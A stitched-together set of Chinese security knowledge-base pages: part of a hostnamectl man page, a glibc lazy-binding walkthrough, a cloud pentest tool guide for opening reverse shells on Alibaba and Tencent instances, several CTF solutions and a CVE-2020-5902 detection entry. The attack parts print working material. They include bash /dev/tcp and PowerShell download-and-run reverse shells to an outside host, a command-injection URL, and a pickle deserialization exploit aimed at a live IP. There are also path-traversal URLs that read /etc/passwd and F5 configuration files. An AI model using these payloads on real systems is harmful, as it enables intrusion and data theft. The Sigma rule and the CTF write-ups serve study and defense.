\m[blue]\fB图标命名规范\fR\m[]\&\s-2\u[1]\d\s+2。
.sp
注意，若设为空字符串， 则表示将图标名重置为默认值(通常由"设备类型"决定)。
.RE
.PP
\fBset\-chassis \fR\fB\fITYPE\fR\fR
.RS 4
将系统的设备类型设为
\fITYPE\fR， 某些图形界面的应用程序 会根据此设置切换到合适的人机界面之类。 取值范围如下：
"desktop"(台式机),
"laptop"(笔记本),
"server"(服务器),
"tablet"(平板电脑),
"handset"(智能手机),
"watch"(智能手表),
"embedded"(嵌入式设备),
"vm"(虚拟机),
"container"(容器)。
.sp
注意，若设为空字符串， 则表示将设备类型重置为默认值(通常由主板固件决定)。
.RE
.PP
\fBset\-deployment \fR\fB\fIENVIRONMENT\fR\fR
.RS 4
将系统的部署环境设为
\fIENVIRONMENT\fR
。 必须设为一个单独的单词且禁止包含任何特殊字符。 建议设为下列单词中的一个：
"development"(开发),
"integration"(综合),
"staging"(阶段),
"production"(生产)
.sp
注意，若设为空字符串，则表示将部署环境重置为默认值(同样是空字符串)。
.RE
.PP
\fBset\-location \fR\fB\fILOCATION\fR\fR
.RS 4
将系统的地理位置设为
\fILOCATION\fR
。 必须设为一个人类易读字符串， 准确的描述出主机所在的物理位置。 例如：
"XX数据中心3楼E23机柜U7"
.sp
注意，若设为空字符串，则表示将地理位置重置为默认值(同样是空字符串)。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功， 非零返回值表示失败代码。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBhostname\fR(1),
\fBhostname\fR(5),
\fBmachine-info\fR(5),
\fBsystemctl\fR(1),
\fBsystemd-hostnamed.service\fR(8),
\fBsystemd-firstboot\fR(1)
.SH "NOTES"
.IP " 1." 4
图标命名规范
.RS 4
\%http://standards.freedesktop.org/icon-naming-spec/icon-naming-spec-latest.html
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集：http://www.jinbuguo.com
|
sec-knowleage
|
### Symbol Reslove基本原理
链接器在处理目标文件时，需要对目标文件中的某些位置进行重定位，即将符号指向恰当的位置，确保程序正常执行。例如，当程序调用了一个函数时，相关的调用指令必须把控制流交给适当的目标执行地址。
在 ELF 文件中，对于每一个需要重定位的 ELF 节都有对应的重定位表，比如说 .text 节如果需要重定位，那么其对应的重定位表为 .rel.text。
举个例子，当一个程序导入某个函数时，.dynstr 就会包含对应函数名称的字符串，.dynsym 中就会包含一个具有相应名称的符号（Elf_Sym），在 .rel.plt 中就会包含一个指向这个符号的的重定位表项。即，这几者之间的引用关系是
总的来说，plt 表项主要进行了如下的函数调用来解析目标函数
```c
_dl_runtime_resolve(link_map_obj, reloc_index)
```
### _dl_runtime_resolve介绍
32 位和 64 位具有不同的 _dl_runtime_resolve 函数，32 位的版本如下
```assembly
.text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
cfi_startproc
.align 16
_dl_runtime_resolve:
cfi_adjust_cfa_offset (8)
_CET_ENDBR
pushl %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa_offset (4)
pushl %ecx
cfi_adjust_cfa_offset (4)
pushl %edx
cfi_adjust_cfa_offset (4)
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
cfi_adjust_cfa_offset (-4)
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve
```
其中
- 以 cfi 开头的都是一些提示性信息，可以不用管。可参考
- https://stackoverflow.com/questions/51962243/what-is-cfi-adjust-cfa-offset-and-cfi-rel-offset
- https://sourceware.org/binutils/docs/as/CFI-directives.html
- _CET_ENDBR 则与 Intel 的 CET 相关，标记着间接跳转的位置。如果程序中的间接跳转位置处没有这个指令，那就会出现问题。
因此这部分代码可以简化为
```assembly
.text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
.align 16
_dl_runtime_resolve:
pushl %eax # Preserve registers otherwise clobbered.
pushl %ecx
pushl %edx
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
.size _dl_runtime_resolve, .-_dl_runtime_resolve
```
即，`_dl_runtime_resolve` 保存了 eax，ecx，edx 三个寄存器后，然后把 link_map 的地址放到 eax 中，把待解析的符号的偏移放到 edx 中。然后就去执行 `_dl_fixup` 函数。在函数执行返回后，会按照如下的顺序执行
- 先恢复 edx 寄存器的值
- 然后 恢复 ecx 的值
- 然后把 `_dl_fixup` 函数的返回值放到当前的栈上
- 然后恢复 eax 的值
- 执行 ret $12，此时栈上为
- 待解析的函数的地址
- original eax
- `link_map` 的地址
- reloc_offset
64 位下的 _dl_runtime_resolve 与 32 位下类似，有几点主要的区别
- 在刚进入函数时，会保存更多的信息
- _dl_fixup 会使用 rdi 和 rsi 传参
- 最后执行目标函数时使用的是 jmp 指令
```assembly
.globl _dl_runtime_resolve
.hidden _dl_runtime_resolve
.type _dl_runtime_resolve, @function
.align 16
cfi_startproc
_dl_runtime_resolve:
cfi_adjust_cfa_offset(16) # Incorporate PLT
_CET_ENDBR
# if DL_RUNTIME_RESOLVE_REALIGN_STACK
# if LOCAL_STORAGE_AREA != 8
# error LOCAL_STORAGE_AREA must be 8
# endif
pushq %rbx # push subtracts stack by 8.
cfi_adjust_cfa_offset(8)
cfi_rel_offset(%rbx, 0)
mov %RSP_LP, %RBX_LP
cfi_def_cfa_register(%rbx)
and $-STATE_SAVE_ALIGNMENT, %RSP_LP
# endif
# ifdef REGISTER_SAVE_AREA
sub $REGISTER_SAVE_AREA, %RSP_LP
# if !DL_RUNTIME_RESOLVE_REALIGN_STACK
cfi_adjust_cfa_offset(REGISTER_SAVE_AREA)
# endif
# else
# Allocate stack space of the required size to save the state.
# if IS_IN (rtld)
sub _rtld_local_ro+RTLD_GLOBAL_RO_DL_X86_CPU_FEATURES_OFFSET+XSAVE_STATE_SIZE_OFFSET(%rip), %RSP_LP
# else
sub _dl_x86_cpu_features+XSAVE_STATE_SIZE_OFFSET(%rip), %RSP_LP
# endif
# endif
# Preserve registers otherwise clobbered.
movq %rax, REGISTER_SAVE_RAX(%rsp)
movq %rcx, REGISTER_SAVE_RCX(%rsp)
movq %rdx, REGISTER_SAVE_RDX(%rsp)
movq %rsi, REGISTER_SAVE_RSI(%rsp)
movq %rdi, REGISTER_SAVE_RDI(%rsp)
movq %r8, REGISTER_SAVE_R8(%rsp)
movq %r9, REGISTER_SAVE_R9(%rsp)
# ifdef USE_FXSAVE
fxsave STATE_SAVE_OFFSET(%rsp)
# else
movl $STATE_SAVE_MASK, %eax
xorl %edx, %edx
# Clear the XSAVE Header.
# ifdef USE_XSAVE
movq %rdx, (STATE_SAVE_OFFSET + 512)(%rsp)
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8)(%rsp)
# endif
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 2)(%rsp)
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 3)(%rsp)
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 4)(%rsp)
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 5)(%rsp)
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 6)(%rsp)
movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 * 7)(%rsp)
# ifdef USE_XSAVE
xsave STATE_SAVE_OFFSET(%rsp)
# else
xsavec STATE_SAVE_OFFSET(%rsp)
# endif
# endif
# Copy args pushed by PLT in register.
# %rdi: link_map, %rsi: reloc_index
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP
call _dl_fixup # Call resolver.
mov %RAX_LP, %R11_LP # Save return value
# Get register content back.
# ifdef USE_FXSAVE
fxrstor STATE_SAVE_OFFSET(%rsp)
# else
movl $STATE_SAVE_MASK, %eax
xorl %edx, %edx
xrstor STATE_SAVE_OFFSET(%rsp)
# endif
movq REGISTER_SAVE_R9(%rsp), %r9
movq REGISTER_SAVE_R8(%rsp), %r8
movq REGISTER_SAVE_RDI(%rsp), %rdi
movq REGISTER_SAVE_RSI(%rsp), %rsi
movq REGISTER_SAVE_RDX(%rsp), %rdx
movq REGISTER_SAVE_RCX(%rsp), %rcx
movq REGISTER_SAVE_RAX(%rsp), %rax
# if DL_RUNTIME_RESOLVE_REALIGN_STACK
mov %RBX_LP, %RSP_LP
cfi_def_cfa_register(%rsp)
movq (%rsp), %rbx
cfi_restore(%rbx)
# endif
# Adjust stack(PLT did 2 pushes)
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP
cfi_adjust_cfa_offset(-(LOCAL_STORAGE_AREA + 16))
# Preserve bound registers.
PRESERVE_BND_REGS_PREFIX
jmp *%r11 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve
#endif
```
### _dl_fixup介绍
_dl_runtime_resolve 中执行的最核心的函数就是 _dl_fixup 了，如下（这里也给出了一些相关的宏），需要注意的是，64 位下的 reloc_arg 就是 reloc_index。
```c
/* We use this macro to refer to ELF types independent of the native wordsize.
`ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'. */
#define ElfW(type) _ElfW(Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e, w, t) _ElfW_1(e, w, _##t)
#define _ElfW_1(e, w, t) e##w##t
/* All references to the value of l_info[DT_PLTGOT],
l_info[DT_STRTAB], l_info[DT_SYMTAB], l_info[DT_RELA],
l_info[DT_REL], l_info[DT_JMPREL], and l_info[VERSYMIDX (DT_VERSYM)]
have to be accessed via the D_PTR macro. The macro is needed since for
most architectures the entry is already relocated - but for some not
and we need to relocate at access time. */
#ifdef DL_RO_DYN_SECTION
#define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
#else
#define D_PTR(map, i) (map)->i->d_un.d_ptr
#endif
#if (!ELF_MACHINE_NO_RELA && !defined ELF_MACHINE_PLT_REL) || ELF_MACHINE_NO_REL
#define PLTREL ElfW(Rela)
#else
#define PLTREL ElfW(Rel)
#endif
/* The type of the return value of fixup/profile_fixup. */
#define DL_FIXUP_VALUE_TYPE ElfW(Addr)
/* Construct a value of type DL_FIXUP_VALUE_TYPE from a code address
and a link map. */
#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)
/* Extract the code address from a value of type DL_FIXUP_MAKE_VALUE.
*/
#define DL_FIXUP_VALUE_CODE_ADDR(value) (value)
#define DL_FIXUP_VALUE_ADDR(value) (value)
#define DL_FIXUP_ADDR_VALUE(addr) (addr)
/* Result of the lookup functions and how to retrieve the base address. */
typedef struct link_map *lookup_t;
#define LOOKUP_VALUE(map) map
#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)
/* Calculate the address of symbol REF using the base address from map MAP,
if non-NULL. Don't check for NULL map if MAP_SET is TRUE. */
#define SYMBOL_ADDRESS(map, ref, map_set) \
((ref) == NULL ? 0 \
: (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ? 0 \
: LOOKUP_VALUE_ADDRESS(map, map_set)) + \
(ref)->st_value)
#ifndef reloc_offset
#define reloc_offset reloc_arg
#define reloc_index reloc_arg / sizeof(PLTREL)
#endif
/* This function is called through a special trampoline from the PLT the
first time each PLT entry is called. We must perform the relocation
specified in the PLT of the given shared object, and return the resolved
function address to the trampoline, which will restart the original call
to that address. Future calls will bounce directly from the PLT to the
function. */
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup(
#ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
#endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 获取目标文件的动态符号表
const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
// 获取目标文件的动态字符串表
const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
// 根据给定的偏移获取待重定位的表项
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// 依据得到的重定位表项获取待解析符号的符号信息
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
const ElfW(Sym) *refsym = sym;
// rel_addr 中最终存储着要解析的符号的地址
// 即 *rel_addr = addr_of_symbol_to_be_resolved
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
// 确保待重定位表项的类型为 ELF_MACHINE_JMP_SLOT
assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
// 判断符号的可见性
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
{
// 获取符号的版本信息
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 查询待解析符号所在的目标文件的 link_map
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 基于查询到的 link_map 计算符号的绝对地址: result->l_addr + sym->st_value
// l_addr 为待解析函数所在文件的基地址
value = DL_FIXUP_MAKE_VALUE(result,
SYMBOL_ADDRESS(result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value(l, reloc, value);
if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));
/* Finally, fix up the plt itself. */
// 修复 plt 表
if (__glibc_unlikely(GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
static inline ElfW(Addr)
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
const ElfW(Rela) *reloc,
ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
return *reloc_addr = value;
}
/* Return the final value of a PLT relocation. On x86-64 the
JUMP_SLOT relocation ignores the addend. */
static inline ElfW(Addr)
elf_machine_plt_value (struct link_map *map, const ElfW(Rela) *reloc,
ElfW(Addr) value)
{
return value;
}
```
|
sec-knowleage
|
---
title: 反弹 Shell
---
## 在阿里云上反弹 Shell
首先在自己的主机上开启监听
```bash
nc -lvvp 4444
```
接着在 CF 中执行反弹 Shell 命令
> `--lhost` 参数配置为自己监听主机的 IP，`--lport` 参数配置为自己的监听端口，`-i` 设置要反弹 Shell 的实例 ID（如果未指定具体的实例，则 CF 会提醒是否是选择全部实例还是某个实例。）
```bash
cf alibaba ecs exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
```
## 在腾讯云上反弹 Shell
### 云服务器
首先在自己的主机上开启监听
```bash
nc -lvvp 4444
```
接着在 CF 中执行反弹 Shell 命令
```bash
cf tencent cvm exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
```
### 轻量应用服务器
首先在自己的主机上开启监听
```bash
nc -lvvp 4444
```
接着在 CF 中执行反弹 Shell 命令
```bash
cf tencent lh exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
```
## 备注
在 CF 中使用的 Linux 反弹 Shell 如下
```bash
bash -i >& /dev/tcp/123.123.123.123/4444 0>&1
```
在 CF 中使用的 Windows 反弹 Shell 如下
```bash
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.123.123.123 -p 4444 -e cmd
```
::: warning 注意
* 在阿里云下反弹 Shell ，目标租户可能会收到阿里云的云盾告警消息，所以此操作需谨慎。
* 由于 CF 等待命令执行结果的默认时间是 60 秒，所以在超过 60 秒后，CF 会提示命令执行超时，从而退出程序。
:::
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年9月7日"
}
}
</script>
|
sec-knowleage
|
# Level07
#### About
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.
#### Source Code
```
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
```
#### Solutions
http://level07-sevrer:7007/index.cgi?Host=127.0.0.1|/bin/getflag
```
cat /home/flag07/thttpd.conf ----> port=7007
nc -v level07-server 7007
GET /index.cgi?Host=127.0.0.1|/bin/getflag HTTP/1.0
```
|
sec-knowleage
|
import struct
# 05352: r6 = INPUT1
# 05464: r7 = INPUT2
# 05576: r8 = 0
# 32 times do:
# 05624: r8 += C9
# 06136: r6 += (r7 + r8) ^ ((r7 >> 5) + C3) ^ ((r7 << 4) + C2)
# 06648: r7 += (r6 + r8) ^ ((r6 >> 5) + C5) ^ ((r6 << 4) + C4)
def encrypt(r6, r7, C2, C3, C4, C5, C9):
r8 = 0
for i in range(32):
r8 += C9
r6 += (r7 + r8) ^ ((r7 >> 5) + C3) ^ ((r7 << 4) + C2)
r6 &= 0xffffFFFF
r7 += (r6 + r8) ^ ((r6 >> 5) + C5) ^ ((r6 << 4) + C4)
r7 &= 0xffffFFFF
return r6, r7
def decrypt(r6, r7, C2, C3, C4, C5, C9):
r8 = C9 * 32
for i in range(32):
r7 -= (r6 + r8) ^ ((r6 >> 5) + C5) ^ ((r6 << 4) + C4)
r7 += 2**32
r7 &= 0xffffFFFF
r6 -= (r7 + r8) ^ ((r7 >> 5) + C3) ^ ((r7 << 4) + C2)
r6 += 2**32
r6 &= 0xffffFFFF
r8 -= C9
r8 += 2**32
r8 &= 0xffffFFFF
return r6, r7
C2, C3, C4, C5, C9 = 123,345,567,876,432
r6,r7 = 4836596,373759
x,y = encrypt(r6,r7,C2,C3,C4,C5,C9)
a,b = decrypt(x, y, C2,C3,C4,C5,C9)
print(r6,r7)
print(a,b)
expected = [0x152ceed2,0xd6046dc3,0x4a9d3ffd,0xbb541082,0x632a4f78,0xa9cb93d,0x58aae351,0x92012a14]
keys = [
0x69a33fff,
0x468932dc,
0x2b0b575b,
0x1e8b51cc,
0x51fdd41a,
0x32e57ab6,
0x7785df55,
0x688620f9,
0x8df954f3,
0x5c37a6db,
0xaca81571,
0x2c19574f,
0x1bd1fc38,
0x14220605,
0xb4f0b4fb,
0x33f33fe0,
0xf9de7e36,
0xe9ab109d,
0x8d4f04b2,
0xd3c45f8c]
b = b""
for i in range(4):
r6,r7 = expected[i*2:i*2+2]
c2,c3,c4,c5,c9 = keys[i*5:i*5+5]
x,y = decrypt(r6,r7,c2,c3,c4,c5,c9)
b += struct.pack("<I", x)
b += struct.pack("<I", y)
print(b)
|
sec-knowleage
|
import base64
import marshal
import requests
def fun1(frames):
return frames[3][0]
def fun2(frames_data):
return frames_data[-6][1]['flag'].flag
code1 = base64.b64encode(marshal.dumps(fun1.func_code))
code2 = base64.b64encode(marshal.dumps(fun2.func_code))
class Flag(object):
def __init__(self):
self.flag = 'test'
flag = Flag()
data = "cos\nwrite\n(I1\nctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code2+"'\ntRtR(dS''\n))tR(cinspect\ngetmembers\n(ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code1+"'\ntRtR(dS''\n(t(ttR(cinspect\ngetouterframes\n(cinspect\ncurrentframe\n)RtRtRtRtRtR."
url = "http://136.243.194.43/"
result = requests.post(url, data=data)
print(result.text)
# for local test
# res = pickle.loads(data)
# print('res: %r\n' % res)
|
sec-knowleage
|
# T1190-CVE-2020-5902-F5_BIG-IP-远程代码执行
## 来自ATT&CK的描述
使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
漏洞影响范围：
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考：
F5 BIG-IP 远程代码执行漏洞（CVE-2020-5902） 漏洞利用
<https://blog.csdn.net/wuyou1995/article/details/107170186/>
cve-2020-5902 RCE的payload以及绕过方式
<https://www.cnblogs.com/potatsoSec/p/13263806.html>
## 测试留痕
暂无实测，故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
### 文件读取POC
```yml
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```
### 通过java反序列化绕过waf的payload
```yml
String dburl = "jdbc:hsqldb:https://" + server +
":443/tmui/login.jsp/..%3b/hsqldb/"; #截取部分内容
```
## 检测规则/思路
### sigma规则
```yml
title: CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞
status: experimental
references:
- https://blog.csdn.net/wuyou1995/article/details/107170186/
- https://www.cnblogs.com/potatsoSec/p/13263806.html
author: Florian Roth
translator: 12306Bro
date: 2020/07/05
logsource:
category: webserver
detection:
selection_base:
c-uri|contains:
- '/tmui/'
- '/hsqldb'
selection_traversal:
c-uri|contains:
- '..;/'
- '.jsp/..'
condition: selection_base and selection_traversal
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
F5 BIG-IP 远程代码执行漏洞（CVE-2020-5902） 漏洞利用
<https://blog.csdn.net/wuyou1995/article/details/107170186/>
cve-2020-5902 RCE的payload以及绕过方式
<https://www.cnblogs.com/potatsoSec/p/13263806.html>
|
sec-knowleage
|
from pwn import *
context.log_level="DEBUG"
# Compile it.
r=remote("pound.pwning.xxx", 9765)
r.sendline("2")
r.sendline("N^9")
r.sendline("N*N")
r.sendline("x")
r.sendline("y")
r.sendline("6")
r.recvall()
r.close()
# Get it.
r=remote("pound.pwning.xxx", 9765)
r.sendline("1")
#r.sendline("../pound.c")
r.sendline("../sims/sim-f11a3c0546c822e8d389243172b8f13698fdf8641f219b7cc7a365a977b7c5b6")
r.sendline("3")
r.recvuntil("(1 - 20)\n")
s=r.recvall()
open("their_binary","wb").write(s)
|
sec-knowleage
|
## Xorpainter (Misc, 4p)
you need a BIG screen to solve this problem
###ENG
[PL](#pl-version)
317MB CSV file is provided. Each row contains 4 numbers.
It looks like first pair is always smaller than the second pair.
This suggests the numbers represent rectangles.
Name of the file suggests we should paint them in xor mode (like in AWT).
The data is huge, so we do one simple optimization.
Instead of painting all the pixels, we mark only first and last row of each rectangle.
For example, for input:
0, 0, 3, 3
2, 2, 4, 4
following image is generated:
1 1 1 0
0 0 0 0
1 1 0 1
0 0 1 1
after XORing each row with previous one, end result is generated:
1 1 1 0
1 1 1 0
1 1 0 1
0 0 1 1
After this optimization, processing all the data takes only a couple of minutes.
The result is 16384x16384 image. ImageMagick is able to load and navigate through such big image.
Some letters are visible, but it's mostly empty space.
The image becomes more usefull after removing empty rows and columns.
```cpp
#include <stdio.h>
#include <stdlib.h>
#define size 16384
static int flip[size][size];
static int non_empty_x[size];
static int non_empty_y[size];
int main(int argc, char*argv[]) {
int x0,y0,x1,y1;
int row = 0;
while(scanf("%d, %d, %d, %d", &x0, &x1, &y0, &y1) == 4) {
for(int x=x0;x<x1;x++){
flip[y0][x]^=1;
flip[y1][x]^=1;
}
row++;
if((row&0xfff) == 0) {
fprintf(stderr, "row: %d\r", row);
}
}
row = 0;
for(int y=1;y<size;y++){
for(int x=0;x<size;x++){
flip[y][x] ^= flip[y-1][x];
}
row++;
if((row&0xfff) == 0) {
fprintf(stderr, "flip: %d\r", row);
}
}
for(int y=0;y<size;y++){
for(int x=0;x<size;x++){
non_empty_x[x] |= flip[y][x];
non_empty_y[y] |= flip[y][x];
}
}
int xsize = 0;
int ysize = 0;
for(int i=0;i<size;i++){
xsize += non_empty_x[i];
ysize += non_empty_y[i];
}
printf("P1 %d %d\n",xsize,ysize);
for(int y=0;y<size;y++){
for(int x=0;x<size;x++){
if(non_empty_x[x] && non_empty_y[y]) {
printf("%d ",flip[y][x]);
}
}
printf("\n");
}
}
```
It looks like only outlines of the letters are visible - probably due to off by one error.
The image is also still 3195 x 3321 pixels, but we can read a flag from it.
`0ctf{5m@LL_fL@g_#n_BiG_Bitmap}`
###PL version
Otrzymujemy 317 megabajtowy plik CSV.
Każdy wiersz zawiera 4 liczby.
Pierwsza para jest zawsze mniejsza niż druga para.
Sugeruje to że wartości reprezentują prostokąty (x0, y0, x1, y1).
Nazwa pliku sugeruje że powinniśmy je namalować trybem XOR (jak w AWT).
Dane są jednak zbyt duże dla naiwnego algorytmu.
Stosujemy więc prostą optymalizację.
Zamiast malować każdy piksel, malujemy tylko pierwszy i ostatni rząd każdego prostokąta.
Np. dla wejścia:
0, 0, 3, 3
2, 2, 4, 4
generowana jest bitmapa:
1 1 1 0
0 0 0 0
1 1 0 1
0 0 1 1
po sXORowaniu ze sobą kolejnych rzędów otrzymujemy ostateczny obraz:
1 1 1 0
1 1 1 0
1 1 0 1
0 0 1 1
Po tej optymalizacji, przetworzenie danych zajmuje tylko kilka minut.
Wynikiem jest bitmapa 16384x16384 pikseli.
ImageMagick (jako jeden z nielicznych) potrafi otworzyć i nawigować po tak wielkim obrazie.
Widoczne są jakieś litery, ale większość obrazka jest pusta.
Aby zwiększość czytelność usuwamy puste wiersze i kolumny.
```cpp
#include <stdio.h>
#include <stdlib.h>
#define size 16384
static int flip[size][size];
static int non_empty_x[size];
static int non_empty_y[size];
int main(int argc, char*argv[]) {
int x0,y0,x1,y1;
int row = 0;
while(scanf("%d, %d, %d, %d", &x0, &x1, &y0, &y1) == 4) {
for(int x=x0;x<x1;x++){
flip[y0][x]^=1;
flip[y1][x]^=1;
}
row++;
if((row&0xfff) == 0) {
fprintf(stderr, "row: %d\r", row);
}
}
row = 0;
for(int y=1;y<size;y++){
for(int x=0;x<size;x++){
flip[y][x] ^= flip[y-1][x];
}
row++;
if((row&0xfff) == 0) {
fprintf(stderr, "flip: %d\r", row);
}
}
for(int y=0;y<size;y++){
for(int x=0;x<size;x++){
non_empty_x[x] |= flip[y][x];
non_empty_y[y] |= flip[y][x];
}
}
int xsize = 0;
int ysize = 0;
for(int i=0;i<size;i++){
xsize += non_empty_x[i];
ysize += non_empty_y[i];
}
printf("P1 %d %d\n",xsize,ysize);
for(int y=0;y<size;y++){
for(int x=0;x<size;x++){
if(non_empty_x[x] && non_empty_y[y]) {
printf("%d ",flip[y][x]);
}
}
printf("\n");
}
}
```
Tylko krawędź liter jest widoczna - prawdobodobnie powinniśmy użyć <= zamiast <.
